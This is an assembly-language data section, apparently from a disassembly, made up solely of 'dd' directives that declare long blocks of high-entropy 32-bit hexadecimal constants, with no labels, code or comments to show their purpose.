dd 2654DC09h, 0F1D30833h, 1644E98Eh, 0A0E83DEDh, 0F141BE00h
dd 0C89D328Eh, 828B9584h, 68598A09h, 36002D7h, 7B505985h
dd 0A199BA05h, 3CC0172Dh, 4B1DEF81h, 10358A91h, 0D5420476h
dd 421B69CDh, 0E77F1919h, 58E123B0h, 0B304B601h, 2D3E9505h
dd 2E09D281h, 0A3D78000h, 5A27D3BDh, 8C02C76Eh, 0B7650AB1h
dd 0D69A56C9h, 2001C46h, 0E52673F0h, 622F2A70h, 0BF27444Eh
dd 9F8059DEh, 14E2AB72h, 3FB600E5h, 0C542E470h, 444AB7D8h
dd 0DA9222F2h, 650B8090h, 2FCEB652h, 8A0BB2C1h, 95190FF7h
dd 0BD010497h, 0C8AA2AD1h, 838A11E5h, 0D28C1E03h, 6655DA4h
dd 505FFF1Ch, 0E10A8993h, 4952F40Eh, 0F76A036Ch, 46F25072h
dd 6AB23C55h, 0C1DC819Eh, 0B4BAC275h, 7B5520F3h, 40BC3A12h
dd 0C7513DE6h, 0BA35342Bh, 0A6891BD9h, 875C2E91h, 5031F3C9h
dd 0AC4EBEC5h, 10E2CC8h, 16B9EFEh, 6059B7F3h, 0CA1D8453h
dd 92710F5Fh, 9A2B2050h, 0C018C86Eh, 47699FE2h, 9D236804h
dd 2BB9318Dh, 0C56C81D6h, 0D162A28Fh, 81F2BD9Dh, 63C6E795h
dd 8B73D8FAh, 1DBD304Eh, 0EA50ADC9h, 597ADB97h, 263181Ah
dd 993E69D4h, 0E2F54CA3h, 56A50238h, 0B34257B4h, 0D4080D6h
dd 40C5783h, 0E738CECFh, 0ECA2B3h, 95BAAD9Fh, 98FD57Dh
dd 0A6D3BD58h, 50D1005Dh, 2FCC08BBh, 0E75E4072h, 0C53D574Bh
dd 46487800h, 1340120Fh, 0F30E94Ch, 0B816A157h, 6AEBB444h
dd 0BE7A0598h, 95D3A9FBh, 42B8C448h, 0C2F388A2h, 38BF4ED8h
dd 0B2820DD6h, 0ABB8A048h, 0F3134156h, 17410F30h, 84920022h
dd 46CE7579h, 0A9028625h, 2AFB8101h, 0E8607D5Bh, 50812341h
dd 2E814A78h, 0F4B5CD1Ch, 7900989Ah, 0B27637A1h, 139D3A43h
dd 0FC532140h, 975B3831h, 6FAA3489h, 1AF614C8h, 26345895h
dd 2D50500Bh, 5D799D33h, 112D148h, 1BBCECBDh, 0AEB2008Ch
dd 57D7D639h, 0D9B89890h, 0A41AD925h, 6B5404D8h, 0E745FD12h
dd 939A5FAEh, 20F9E587h, 1DB34E19h, 0C7DD8E54h, 61FB8B12h
dd 5D8DB4E2h, 75B62E3Ch, 227E28F0h, 11633305h, 0BEFFEF1h
dd 96570B20h, 0D4C3946Dh, 0F1A1F55Ah, 1298DFFCh, 0E00F6E58h
dd 0AA900BCCh, 61BD115Ah, 0B59AEAB4h, 0FE48009Ch, 526D3610h
dd 7904E74h, 2D13E120h, 5C5EF5E9h, 0DE1226h, 0BF4B1D9Eh
dd 2756E8D4h, 37C18B2Dh, 2F540F8Ch, 7B00AD8Bh, 9501CCF1h
dd 712DD52Dh, 0CC4D6956h, 18C91340h, 221044Ch, 0EBC744F9h
dd 8CBE7324h, 0AE097997h, 0D82BF2B6h, 5B244069h, 9E17895h
dd 915C7EBFh, 9B318687h, 0B92440F4h, 0A64000BFh, 0BB90423Dh
dd 0E3152897h, 208C36EEh, 1A440C69h, 0D3CDBDE8h, 0DD66FA4Dh
dd 0F27F79F0h, 0FFED7A01h, 0E97D1197h, 857420CEh, 860E7031h
dd 402ACB0Eh, 0D1D015B6h, 7721309Bh, 92F0BB79h, 8102CE79h
dd 396469E7h, 52CC8103h, 0BD673A25h, 2231E7A0h, 0E2495C02h
dd 7F172CFAh, 3087A409h, 0C22588E1h, 7048F398h, 70097B7Dh
dd 826BB8E0h, 5160D54h, 3EDEEE50h, 647D8AC0h, 0B50296CFh
dd 31AC9CBEh, 0F3A3D5BDh, 585BDE8Bh, 0DC7ACD85h, 1067E7Dh
dd 21847A73h, 2A52750Ah, 0B589D430h, 5F1B406Dh, 0F4806004h
dd 89C5B1BAh, 0D7CDDAEBh, 9D8E98h, 0D7F3A15Dh, 0E1BA11CAh
dd 830F9B12h, 0F8C90FF8h, 0CCBED879h, 4A01205Fh, 0B45AC7FFh
dd 1038AF29h, 18B386D6h, 2EEC7658h, 3CCDC2C5h, 0E75E03ADh
dd 28C50CFCh, 0A9B2F89Eh, 88157495h, 0FE2A16C9h, 0BB09D3B0h
dd 5C5B5AFAh, 29B18823h, 0F5605009h, 0D0BA8BB0h, 8842247Ah
dd 0C408F85Ah, 0DBEE9061h, 0A4708018h, 4E5076Bh, 39A9447h
dd 2D13AB85h, 81C72AAEh, 87A8323Bh, 41CD1060h, 28F7402Fh
dd 13128E7Fh, 5BC07E9h, 4255CE1h, 0C0E21AF6h, 1210A2FCh
dd 0D5BD031Ch, 0FB7CC328h, 0AF75162Bh, 0DB570A6Bh, 1D2B000h
dd 0CEE3EC94h, 644CC42Fh, 0F30E034Fh, 0C0709BBAh, 0EA6669E0h
dd 103E4E00h, 0CF675BF6h, 60571773h, 9791FB23h, 0FF445350h
dd 34FAE712h, 0BC90ABB9h, 138ACCBFh, 0BA615EE7h, 88C4E463h
dd 21BCDD2h, 0E1A0E7CFh, 38FEC3C1h, 395E7540h, 90530026h
dd 0D3738BA4h, 0DF09939Ch, 555F59C9h, 8A90E130h, 5598FA4Eh
dd 95774EB3h, 8E7BAF2Dh, 46AC5A04h, 8E7781FBh, 50333ABCh
dd 0D3BBB529h, 0AEEC6AA4h, 260C3C8h, 405A6366h, 645DCEC4h
dd 0BE894A3Eh, 0FF5F6C40h, 0B53095B5h, 0FE1985E5h, 0BC4BB49h
dd 8D725E28h, 0E5C860F4h, 482F0E41h, 2905BF17h, 1AD021BDh
dd 48171E4h, 0CC0551F7h, 22FDBD19h, 99C6BDD0h, 127179A0h
dd 0E5300B81h, 5BE49504h, 41E2FCA3h, 0F945F85Eh, 0CA488FAh
dd 0DAEE9397h, 20E85EDFh, 0BB48978Eh, 314EC82Bh, 8B016FF2h
dd 0B19D23D1h, 86F19117h, 0DFB70F02h, 9D7858Bh, 0C90977F3h
dd 0B9694466h, 42445CA7h, 98825B1h, 8C920099h, 0C38176EFh
dd 0F6C97C09h, 44C37A2Fh, 0D0BE5113h, 335B4038h, 0B1B45E9h
dd 2B058DE1h, 0C45633DCh, 0BC5FDE9Ch, 932B88D1h, 0AB25AA29h
dd 30BE1404h, 6390D2BDh, 333595C2h, 75884C5Ah, 0B097DFBFh
dd 82A166DBh, 0EA40D674h, 582AD57h, 0B37F40DBh, 0CBB5FFFCh
dd 28467146h, 25E360FBh, 0F76C2A8Dh, 0E8C2E304h, 60AFF9AFh
dd 87CB8008h, 0FD6B913h, 7ABBE043h, 0FCEC2CC6h, 70DD39E8h
dd 20E2A6BCh, 6E406402h, 5D04F380h, 0B90B8B04h, 10E59075h
dd 2B121AFDh, 80A29BD2h, 0D131149Eh, 0F785090Ah, 997BF930h
dd 80181BF9h, 0B4E4A207h, 1646CF5h, 92E081F6h, 6A7B7374h
dd 0EEC6CA29h, 0A5006C9Fh, 10336CEh, 0BF68015Bh, 2144F340h
dd 2C882F23h, 0A9884B0Dh, 16BEC75h, 4D026D26h, 2A77229Ah
dd 0C404B934h, 921D0371h, 4AC7F7D8h, 0CA0C4B6h, 3918D653h
dd 0FAEE8DEEh, 6F6697E1h, 3B85012Eh, 0EA4A5E25h, 0F9BF04B9h
dd 0ADD5BC5Fh, 4BC4FDFEh, 0D1CAF84Bh, 0F099612Bh, 513F5D8Dh
dd 2F58870Ch, 7B09B878h, 0E3BFD8F9h, 5A2DB2C9h, 119D1626h
dd 8575AF0Bh, 0A533C404h, 0C9C6D1EBh, 46220B43h, 0C0A24D9Fh
dd 49BB4DFDh, 35B58908h
dd 9D893810h, 0B95C0A59h, 9D042970h, 80D14E7Bh, 2F1D1C65h
dd 0C4CB0D2Eh, 0E990AF51h, 0B62A607Bh, 7127E0CBh, 0B7EB75CAh
dd 33263FF8h, 0FD167698h, 950D54F0h, 51BDC2C4h, 4CE70062h
dd 74AA05E6h, 0DFBB4B00h, 4EFC1321h, 0BC5904B8h, 0BC5FD98Ah
dd 8CDB5BD8h, 25BDB993h, 30CEE9A2h, 0DF17A816h, 6BBAFF3Ch
dd 331529C3h, 0B66AE10Ah, 3B276508h, 0B7EAFE25h, 4210CF5Dh
dd 0CE8259DAh, 90040FA9h, 0A98EAAh, 6E588A4Dh, 97523FC8h
dd 0DE44CF81h, 5B6E2F90h, 21702200h, 63A1BFBEh, 6A11DE13h
dd 52F091B6h, 32043AD6h, 2F957C91h, 12F108FEh, 0FC2F8C2Ch
dd 0E04B501Ah, 8831CD00h, 0AA2F1A91h, 0B68200D6h, 0BEEFC83Eh
dd 1EF87F68h, 0D8B77C12h, 3C8025E0h, 0F9920119h, 28E5B3FCh
dd 0F154CB53h, 2C9C5FEEh, 0D8E78061h, 0B2C7F62Ah, 0E9F43014h
dd 5B2ACB49h, 0E1D2E0F8h, 93F77AA3h, 47CFACB1h, 0EE9135E6h
dd 2D56C09Bh, 602B77B1h, 0B8B51646h, 73D84Eh, 493BFC8Eh
dd 40EC2307h, 17AAA601h, 0D1AC5BC5h, 0A8AFF23Ah, 7BF90963h
dd 70228FBCh, 700906C1h, 25ECB0C1h, 0E176C4D0h, 0D71655E2h
dd 0B8D3C5B2h, 2CF0750h, 47F77213h, 0BEFBFD96h, 2E2C2188h
dd 5650078Fh, 795F1960h, 0C73A0057h, 768E0D11h, 22AFEB1Eh
dd 0F6B15F65h, 7B56A61h, 8AE69B2Ah, 0E5098B68h, 0D396570Dh
dd 0D44796h, 935E0FC2h, 13BBFF21h, 0BD03BE0Bh, 68062059h
dd 279B5BEEh, 2D105282h, 750A8540h, 814E0502h, 78655F1Ch
dd 0A811016Bh, 8D017D83h, 0E555DE15h, 49A270BBh, 2165F81Fh
dd 10CDFE31h, 0F84DAE04h, 57C22F8Fh, 8E01FE93h, 79C9E381h
dd 0FD262747h, 0D37AFC51h, 0E226121h, 0C01697A1h, 1AE38012h
dd 338BC7E2h, 9DD90F53h, 7ACCCCh, 0AF49A07h, 0AC69D781h
dd 5E59E12Dh, 4BF1E2BCh, 0F1E13557h, 0F0A01816h, 0DCFDBC02h
dd 0FCF17F01h, 3251B529h, 34C2CE6Bh, 0E8815595h, 8E6E300Dh
dd 0A5F15FA3h, 0F586E67Ah, 374F3A07h, 197CF5E1h, 8A7D4F71h
dd 271650DCh, 45B6D852h, 0B16B2E24h, 0E8001A23h, 0C5FEF7B3h
dd 8967328Ch, 0B0F52F50h, 17757C5h, 20AEFBC5h, 2A646E9Ch
dd 0D3DD52E8h, 0CF67AFD8h, 0DC96DAD2h, 0A1BB00A0h, 0B4B95BEDh
dd 712E8D7Bh, 0BF072761h, 4D89A3C3h, 7987C07Bh, 8FA01326h
dd 0BA952B99h, 6E15D0Dh, 0E7F27A03h, 0A807ADD3h, 0B5DB011Dh
dd 0FA8AF261h, 0C1206A60h, 9D4D57h, 9ED98809h, 0E2D7FB2Ch
dd 0A3E668EEh, 0D13EC390h, 0D659A533h, 7A616718h, 0FCC024A1h
dd 0B411800h, 588E3749h, 4AD8B8F2h, 0D241BDDAh, 0A87969Ah
dd 0A7764025h, 874B3788h, 1733D4CCh, 0AF318DBDh, 7D57ED6Fh
dd 0D9858C07h, 977FE171h, 0BDDA4191h, 0E3F26B2Fh, 0BD9DD69Eh
dd 0E6B9D38Fh, 0F00021A8h, 90E3458h, 90788B1Bh, 19493143h
dd 2B15F562h, 0E6423C9h, 4F7B9526h, 182568A8h, 9FE7ECB0h
dd 4D97A0D8h, 8B2FE2B3h, 31AD31D7h, 9F2801D8h, 18E4A3CDh
dd 3D39D760h, 829F7877h, 48635542h, 0BA27E7C1h, 0A710B52Ah
dd 9700C836h, 6FA6EF20h, 0B5C6DC9Fh, 0FAB2FBC7h, 51765EF9h
dd 65B3103Dh, 8E92296h, 0F43CD300h, 76276B84h, 0B3507F22h
dd 99D57AEDh, 0D741603Bh, 0B1000779h, 749561E0h, 5504FE14h
dd 61C90A0Dh, 9D8245BDh, 90143231h, 0CDD94B7Ah, 2840215h
dd 5CDC8A22h, 2F3B51F3h, 7BC9CE9Eh, 642F8AC0h, 6F037495h
dd 95D5F360h, 4D7BBD0Bh, 2FAAC6B5h, 325E919Dh, 61161355h
dd 7AE6C519h, 0E92C4480h, 80789D57h, 783795h, 3D0918FCh
dd 802D7A08h, 275CFECBh, 0FEC3B46Dh, 0AA1288A9h, 54FB095Bh
dd 0E0023337h, 8E82C563h, 0E5F52ED1h, 0D8BF0470h, 7E5A8C50h
dd 9CCEAB1Ch, 6E620A44h, 0DB2E11A1h, 2F0B80A2h, 0F9834F15h
dd 0A081B72Ah, 1E60143Fh, 7A36CC6Dh, 819D318Bh, 55D916C2h
dd 7D8CE2ADh, 81039DC6h, 0C25C9BE3h, 31F60B41h, 8B3D3A34h
dd 37918F01h, 0C82B4EE6h, 1D413D09h, 0B82E172Eh, 19C98DA5h
dd 0AA76AACh, 9081AE1h, 0F959D0B7h, 9AD80054h, 93273E4Fh
dd 0C02D24B8h, 594673F0h, 78A1816h, 0BD89BC15h, 425C0B75h
dd 721D467Eh, 0B1611200h, 6C4275C5h, 0B1214E27h, 30292BA6h
dd 0F2EF55C6h, 2C01667h, 0B58E0F99h, 0FE433279h, 133B90F5h
dd 0BE83003Eh, 0A3A72742h, 0FD9C026Ah, 5DBF28DCh, 334122FFh
dd 37D9B4A0h, 35B40192h, 7EAD59DCh, 0CE7E982h, 3B58DF56h
dd 12E58334h, 0EC80BE71h, 0B1D16C5h, 0FDE14433h, 9D1281D8h
dd 0F4B923F5h, 5AB2AF92h, 91F5B307h, 178D837Dh, 51EC3069h
dd 357569E1h, 0DF1B0017h, 870F50FCh, 0F7F3094Fh, 0B88BC139h
dd 0A9577A29h, 0C546CD76h, 1A68C0E5h, 0ED250F27h, 0B6AB6C42h
dd 5006BDCh, 55FF5BD0h, 0BDB59495h, 50400F4Dh, 13308A15h
dd 0BC19D1BEh, 0D0D68045h, 6AE328h, 9264FAEAh, 0AC85F146h
dd 0E1449Fh, 66570D50h, 0FD1ACF38h, 0B3318600h, 1589CE0Eh
dd 0D78B975Bh, 0AD0735D7h, 0AA006ECCh, 9AC863DCh, 95ABF85Fh
dd 3BE9E889h, 7985CCFFh, 5A8E44BFh, 0ECC7B945h, 0D961132Ah
dd 0D434EE95h, 0F38814ADh, 0EEAEE640h, 4B05A33h, 1231CD1Ah
dd 219D0BB0h, 0EC242C85h, 5CE5951Eh, 53CE6464h, 0FCA16052h
dd 0F0D60C7Ch, 73B5295Dh, 44C127C1h, 92A173F6h, 5C6466ECh
dd 17EA5404h, 4BAFFB25h, 6DF1881Ah, 1DE0D892h, 93C19751h
dd 2B5B0001h, 0E406B0C8h, 0CD66C6D1h, 7444FF1Dh, 80454BB3h
dd 4947551Ah, 32F268C4h, 600B12B8h, 24D59503h, 0C8EB610Bh
dd 5A25CB8Bh, 0D385D36h, 0A442195h, 450BA842h, 44D7BE17h
dd 0D912B91Ch, 8C2B3778h, 528823E2h, 69B52631h, 0AE5F9204h
dd 50AB7375h, 0F9446147h, 47C5B50Dh, 7CB13C08h, 0F8091646h
dd 0D4F6FE88h, 220AE962h, 0AF747F07h, 0BA5D88ECh, 516FB501h
dd 0AD767841h, 0C540D723h, 0B0FB0EB7h, 43203F8Bh, 6309A631h
dd 0CCBE2725h, 7FEB074Ch, 0B10B2B9h, 92FA3775h, 4E8DEA5Eh
dd 30B9202Ah, 66007947h, 9DF7E8FAh, 12E2C83Bh, 0F099EA43h
dd 4D25BB66h, 42E35C6Dh, 29240421h, 55167982h, 0EDB7D994h
dd 8241438Dh, 1F4B5E72h, 1AC8818Fh, 0AB9AACC0h, 0FF272F0Ah
dd 0C2DBF740h, 0DAE27AFDh, 21C66EF9h, 4BF37E5Eh, 21B8223h
dd 0E7CF4F5Ch, 0AE125DEFh, 57B1F713h, 470DF9B5h, 0AD0AD406h
dd 9E0D6FFh, 0DA71952Eh, 0D458FE7Ah, 59C91218h, 4F3DE3C4h
dd 4080A380h, 424B9EFCh, 6A4E249Eh, 0AC480021h, 51DA354Ch
dd 0A1580233h, 234D9529h, 11FC3757h, 0BE178015h, 4BCDB529h
dd 10258B02h, 0C44BDC9Eh, 0A224AC65h, 0C780214Dh, 25123A9Ah
dd 0E59DFFA2h, 12F6AB5Ch, 0B2C7382Eh, 0A4F488FBh, 7C925F1h
dd 27202B60h, 38E05ECAh, 0AA81D1E6h, 0A28DADBFh, 0DE042B45h
dd 5F14E9h, 238B746Ah, 607C2510h, 0CE36E307h, 7390E141h
dd 5A3067C6h, 85259815h, 958872BDh, 7DD9825Bh, 0FD26FB2Bh
dd 81054456h, 0B312EB7Ah, 0F9B47A3Dh, 0AA588A34h, 40C759BDh
dd 0C9BD3360h, 36912A4Fh, 610211B5h, 0E46BE356h, 66160093h
dd 0A42E8449h, 0D074059h, 13607AC7h, 94C0E851h, 3634DA21h
dd 6E245A04h, 88744BBBh, 40F9C9BEh, 9AFE7A6h, 3CC165B5h
dd 0A953D0h, 0EABE5BBFh, 0FCAFDF6h, 3DDDD600h, 0E3C92CB4h
dd 19569095h, 0B15F04B0h, 8B67CBFEh, 0D9ED80Eh, 33610260h
dd 56F7F8D7h, 0FA0ED45Ah, 581BB382h, 52C545F5h, 525E485Fh
dd 0C44F4BF2h, 0A8D2945Dh
dd 276F97D2h, 8885D500h, 8D17A2E5h, 0DB3F50Eh, 13018EE9h
dd 10CFEE9Bh, 4FFF55A0h, 0B0C4854Dh, 6FAE1B59h, 41623A0h
dd 0AC0BE84Eh, 57B1D2FAh, 0AAFD122Ah, 0D08178DEh, 60CDDAF9h
dd 24675D82h, 564BBDB1h, 182953FDh, 613C249h, 0BBF96700h
dd 4BFA1B2Dh, 836ABA65h, 81A2192Bh, 4665B79Fh, 0C5E57A42h
dd 11EDA501h, 92256517h, 0D4D15054h, 628AB38Bh, 25905488h
dd 0F6CADEh, 30B5485Dh, 0AAB3FC33h, 5ACD6805h, 8CAB8E6Eh
dd 0A9133257h, 6EAB71B0h, 35FF07ECh, 0ADB0828Bh, 97E5D780h
dd 0A12B2A10h, 923C7100h, 75902A2Eh, 0A75F092Fh, 0AB5C586Bh
dd 0B1B24212h, 0BC06FD4Fh, 0E6630092h, 51707262h, 0F2FD409h
dd 0F4490h, 9D5CB6F0h, 294BD2C2h, 2D620303h, 0B1D168EDh
dd 0C742BE8Ah, 7A35DCE7h, 2E562241h, 5BFD21ABh, 0F0802690h
dd 502D1E06h, 4B834E9h, 1120D9D2h, 0A635D930h, 5DC22E6Eh
dd 0A84AFB10h, 0AB12075h, 690E6162h, 7A055C2Bh, 0F1B17A85h
dd 0A4DE2ACBh, 83649A4Ah, 4C473FA3h, 4E5B2582h, 45EBDECBh
dd 0F6B6FCh, 0B7F927B4h, 0EEA9FD0Fh, 89C67D62h, 0EBC75531h
dd 0C3801674h, 0E5C4040Ch, 0E2F2AC31h, 857F2BA2h, 0D02C9837h
dd 8123C091h, 0EFBBBCCBh, 4AA6584Ah, 9A3017B2h, 0A0BC2D7Eh
dd 46F43C58h, 77E79A95h, 0AF516610h, 0DAFAA81Ch, 9EA75C00h
dd 0EEE0FD2h, 9A46ED8Bh, 0BF7D1F60h, 6612EC68h, 2EB35B17h
dd 0D6DB204Ah, 0EF00E802h, 4AB4735Eh, 99EA282h, 399209E7h
dd 918D3557h, 0DD2A801Bh, 4D3FD29h, 0E8C092E6h, 2246400Ah
dd 0FC44956Bh, 0BA0919DFh, 0C3F7F6A9h, 0F965BD0h, 0B852825Eh
dd 61C7C9EEh, 0BDF73F11h, 0D55877E0h, 14963C02h, 570E2389h
dd 2022FA10h, 78B5800Fh, 8AB0E30Fh, 9886F04Dh, 0DED30295h
dd 0F55135DDh, 25F8967Fh, 2ECE0549h, 0D7258694h, 3022E33Bh
dd 115B9DB9h, 8A181959h, 12B18401h, 890FCC02h, 0A5578C2Ah
dd 7C603731h, 95892C51h, 7CE2798Dh, 97E4725Dh, 4640FFEFh
dd 9C2583Eh, 252A857Fh, 89A722C3h, 0B9FE11CCh, 0E1E6284Ah
dd 973015A2h, 95892D9Bh, 0BF81D4D4h, 36D404F0h, 0F8D3492Bh
dd 5BE9D85Ch, 0C8C15179h, 913BD740h, 72DD77EFh, 0DBB90392h
dd 8A0C13D3h, 195E00BCh, 0AECBA2D1h, 0A78418B0h, 9D298876h
dd 0B7C8754Eh, 647B956Fh, 0F4EBD8h, 28DF7BBFh, 12CF8005h
dd 64F06DB5h, 0E662611Ch, 0A73FCCh, 0F67E948Bh, 5E3DE5BFh
dd 0A58B60B7h, 0C6D5822Ch, 5B180026h, 0A49B4E31h, 5800ACF4h
dd 0CD0A29F0h, 9166CC3h, 505E4376h, 9697AFD9h, 5080679Bh
dd 0DFCB7942h, 265CF112h, 951C92E6h, 0E173E5FDh, 910B85A6h
dd 0FE1C5708h, 80856394h, 2EC0E6C7h, 2592AEBBh, 755C5498h
dd 33FFBF42h, 0C6DA1225h, 0BB660904h, 15D7292Dh, 9C654093h
dd 3302D67Dh, 1AAB0AD7h, 0A7245CA1h, 8FD059FBh, 0F98D2563h
dd 1A113BC5h, 25A6FC4Bh, 860B7317h, 0E7F59D23h, 9A8C64Ah
dd 0E2922E8Fh, 8758D21Ah, 9559E93Dh, 0E781FF80h, 2704F831h
dd 0F5C18B70h, 93A06F2h, 0F0856392h, 14C1BA35h, 0EA81F00Eh
dd 1B4C23BBh, 9517D948h, 0FF9C27ADh, 0C3F70232h, 42E23A41h
dd 322F6FF3h, 613F963h, 1AC22B58h, 0D09CF06Ch, 5A4D2538h
dd 0ECA4E475h, 3C5003B7h, 3A81D003h, 192445B3h, 2D47F684h
dd 0E965600Bh, 894CDCD9h, 788FC88Bh, 3063128h, 674F3C40h
dd 0A899C206h, 627D8B1Eh, 21DFD12h, 0A393F805h, 0D1030CF0h
dd 25E520C6h, 9A08F64Dh, 64074048h, 0E0058F22h, 4C42483h
dd 8B5162CEh, 81100B40h, 14B0A928h, 3359B5C1h, 0A20C3C0h
dd 8B234865h, 0C68424C8h, 0A909D85h, 12D26847h, 9D49AA7h
dd 0C8557D73h, 9D7B70C5h, 6AD00603h, 82800886h, 0EBC70661h
dd 0C8128DD3h, 1D58742h, 7D594976h, 0F5669789h, 0D104952Fh
dd 0B431285Dh, 60688D22h, 0A5DB7A96h, 71BD29C3h, 70CBA7E4h
dd 2EBA98Ah, 64104518h, 9E2EEED4h, 0A702F438h, 59A86408h
dd 12A0D70Ch, 9DE381D7h, 54121C13h, 950528A0h, 2E932D3Dh
dd 0FE1412BEh, 5D6AA732h, 0C0C509DCh, 37011B80h, 91050004h
dd 6E025B9Ch, 2AF007B3h, 755AB900h, 8F8C6244h, 29AD00C8h
dd 0F817D970h, 7375E199h, 49DC8300h, 7E1510B9h, 5A010088h
dd 0B1A085BAh, 602EB27h, 0BF338024h, 669A40BCh, 7B4A00E7h
dd 2A9405C0h, 5F0F6B03h, 40DD4C4Eh, 0DB53C45Ah, 46380019h
dd 7897209Bh, 30019C2Ch, 8CB87FC1h, 90F09F3Dh, 7237C4Ah
dd 7B4134D3h, 931641BAh, 0F2D5C899h, 32B03003h, 30783897h
dd 0FE21A208h, 0EF00D58Bh, 54730CF7h, 0F9B226h, 3EB13C5Ah
dd 718CB0C8h, 9EB99301h, 3751EA16h, 540038BCh, 0BDE65649h
dd 0B5E6B76Ah, 4F085266h, 417B0F21h, 0F3004A56h, 717F99A6h
dd 65EE5200h, 6996B8A3h, 7EF2061Fh, 0C8B543B9h, 7C3439C7h
dd 151CE841h, 0EC361180h, 0DF9F8D7Ah, 97389D0Ch, 0C30A08D7h
dd 7AE45721h, 766E3A8h, 0FC1EC61Fh, 48E96541h, 8C4F5F4Ch
dd 0D2C0AC88h, 0C0051C28h, 0E6AAA269h, 5B00DAD3h, 61E2F2E4h
dd 1F630A2Eh, 40CE1728h, 9D43F4B3h, 0F980B998h, 32260038h
dd 0A3BDE347h, 0F8C19C3Ch, 1B392C92h, 0AC08B044h, 564CC3E5h
dd 0AC42302Bh, 76004911h, 379F5644h, 6E0F1470h, 81FDD82Fh
dd 0B1BC8333h, 0CC791E01h, 0F77628E2h, 0AA78DC00h, 0C8F48175h
dd 8BA54813h, 0CFB8DB00h, 0C78237F5h, 930EF728h, 9B31C903h
dd 89C28B83h, 0EFD1BBB4h, 0E82B9EE0h, 5F3E0049h, 15B2B8F8h
dd 0DE01AF87h, 0E826C99h, 1880F93Fh, 0C0F36A4Fh, 6BF8E6FAh
dd 0E81E4B78h, 61CF799h, 28CC274Ch, 8E018C2h, 473661A2h
dd 81C7BF0Eh, 3E1080CBh, 3BBDAB04h, 188012B2h, 8CDAE4DEh
dd 30C31952h, 21EA2CBBh, 62001428h, 0D506F908h, 0C1EB068Ch
dd 78AA647Ah, 0D17B8E06h, 86D1BC6Bh, 0B507311Ch, 85EBC319h
dd 0FCFFDBC0h, 0BD98F619h, 2E518208h, 45C086DBh, 85218F2Bh
dd 4024445Ch, 0EA6F6417h, 0D9BD0019h, 0B6E73F30h, 0ED60AB7Bh
dd 0CAAFC220h, 0EF01003Bh, 10B73E92h, 0F50F4482h, 0C6C60E26h
dd 0B1AD06h, 0F84C69B6h, 64F25103h, 12F5731Dh, 7DE84503h
dd 65118E5h, 587A3186h, 816C101Fh, 7768D101h, 0DEE4C144h
dd 0B78A03B8h, 2FCDF3CAh, 1C907822h, 41E12E4Dh, 794CB621h
dd 6A041C6h, 624F1002h, 98FE50F8h, 0F58E003Bh, 91901BC9h
dd 0B9006C2Eh, 7353E8F3h, 0D872845h, 756AD1F2h, 370EC479h
dd 1724AA50h, 174AE88h, 30880645h, 0BA92078Ah, 0F7EA8FC1h
dd 0A6ACA0A2h, 159B24h, 5F512CE9h, 0C2106492h, 0E1B840F1h
dd 896065D1h, 1AE8E339h, 43F8F75Ch, 0E5C4312Dh, 24AB6C18h
dd 77005240h, 0A4AC8448h, 9CCF3A7h, 2CE1C4A6h, 39BEE00h
dd 0A8A0F826h, 0AF001A42h, 0E89F444h, 1866214Ch, 78EF8A10h
dd 0C003B93Ah, 64CCAD97h, 0D9100075h, 6EEEB1D3h, 6B01094Ah
dd 0FB02EFDEh, 4BF056E9h, 399212D5h, 41056C8h, 908A78B4h
dd 89C65198h, 1852040Eh, 0C35386BAh, 97A48129h, 9F6CE18Ch
dd 0D016E2C9h, 8903367Bh, 93EA698Fh, 0F0F8B0D2h, 240C7206h
dd 0A60C77Fh, 0F075ABh, 5942D5C1h, 0CD00AFE2h, 0D9346A7Dh
dd 57670Ch, 7BBBACBCh, 78609CCFh, 91D69600h, 0DD613824h
dd 65FA00A2h, 0EC3EF084h, 48001450h, 0ED7D6703h, 3DE0F3h
dd 7C617538h, 0A8DD211Bh, 0B69A5Ch, 30EF3EF5h, 18734DD9h
dd 2065BB19h, 0C772A43Dh
dd 0C420D253h, 956105D7h, 0EC2880EEh, 830D5794h, 890E00B0h
dd 369684E9h, 0C9002117h, 2EEAF7BFh, 0CAD4F3BCh, 3701630h
dd 0D08AA868h, 0AF62D82Ch, 0F592A903h, 54D801E1h, 14B42EE0h
dd 5E1C43DFh, 2D12A9C0h, 0D4F57119h, 599E2820h, 0DDD20A1Ah
dd 0B7CC0034h, 0B8754C62h, 6D34010Ch, 0C0C608A0h, 62AF3321h
dd 2D0CF3C7h, 18EC074Bh, 0C31100C2h, 283E1DD7h, 0D107A3EBh
dd 3B21ACE6h, 0A3302F3h, 0D8AAA28h, 0D5AE80C0h, 0BAF23806h
dd 57CE7B00h, 1E56A069h, 5E24038Ch, 3445AEECh, 0A186103h
dd 87BEDA1Fh, 30B52101h, 21100898h, 1F030276h, 0AE18B891h
dd 46A1C916h, 0D3F000C3h, 5ABABB6Ch, 7014087Dh, 5C03C1Ah
dd 94483D46h, 0F40EDC5Eh, 5D0444D5h, 55F01EC1h, 0D8F90994h
dd 11F4ED80h, 7B00FFFCh, 55D80760h, 18ABC4D1h, 0D8EA599Ah
dd 0D63A8C6Dh, 2DD7055Fh, 0B432DCC1h, 62B930D0h, 4853D0B8h
dd 0B13180B4h, 0EC96DB62h, 6C150D73h, 40589B1Eh, 0E3F236E1h
dd 6097A13Ah, 55162C30h, 0C993EF5h, 8C51A015h, 0D171BD05h
dd 54840008h, 0E49433B5h, 2181A034h, 1123B43Ah, 0C904E03h
dd 0F22699FDh, 68884421h, 0B5001E51h, 0DA64B6C7h, 0FF9B043Dh
dd 90382861h, 0A1952B00h, 5D102360h, 0CFD8D2A8h, 0D502FA40h
dd 94B7823Ch, 325D8D80h, 79A272h, 24A7DC61h, 918AA4DDh
dd 7BCCE250h, 675C6912h, 0C5D9CC1Dh, 0B218D768h, 75576208h
dd 40C4C450h, 0D262AA36h, 1F3B0052h, 2D14718Eh, 0DE52A0B4h
dd 1D323F0h, 754B62B6h, 284AB0h, 0AB62AE32h, 6A16463h
dd 0B0797BC0h, 0BC02A041h, 2399166Dh, 0D9A08236h, 41CB0735h
dd 7213C03h, 0B34B1D80h, 59A403B8h, 81BCE0D0h, 21180831h
dd 0F17044E2h, 7BD80114h, 32EF7F63h, 49BCECC3h, 0D81F5D28h
dd 3FB55518h, 8ABDE70h, 36B260FFh, 4E600244h, 0A423B7B3h
dd 191151h, 70B343E3h, 40A2978h, 7BFB172Fh, 2408839Ch
dd 4541DDDAh, 0BAA82496h, 0D8F87401h, 0F4467085h, 19B80420h
dd 2845DE64h, 12BC08FAh, 32763B28h, 1004F82Ch, 0F6BD2E42h
